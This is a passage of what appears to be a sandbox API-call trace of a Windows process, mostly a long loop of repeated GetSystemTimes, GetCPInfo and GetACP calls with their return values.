0x76c579f9 [0054.148] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0054.149] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0054.150] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0054.150] GetTickCount () returned 0x114709e [0054.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.150] GetACP () returned 0x4e4 [0054.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.150] GetACP () returned 0x4e4 [0054.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.150] GetACP () returned 0x4e4 [0054.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.150] GetACP () returned 0x4e4 [0054.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.150] GetACP () returned 0x4e4 [0054.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.150] GetACP () returned 0x4e4 [0054.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.151] GetACP () returned 0x4e4 [0054.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.152] GetACP () returned 0x4e4 [0054.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.153] GetACP () returned 0x4e4 [0054.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.154] GetACP () returned 0x4e4 [0054.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.154] GetACP () returned 0x4e4 [0054.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.154] GetACP () returned 0x4e4 [0054.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.154] GetACP () returned 0x4e4 [0054.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.154] GetACP () returned 0x4e4 [0054.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.154] GetACP () returned 0x4e4 [0054.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.155] GetACP () returned 0x4e4 [0054.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.156] GetACP () returned 0x4e4 [0054.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.157] GetACP () returned 0x4e4 [0054.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.158] GetACP () returned 0x4e4 [0054.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, 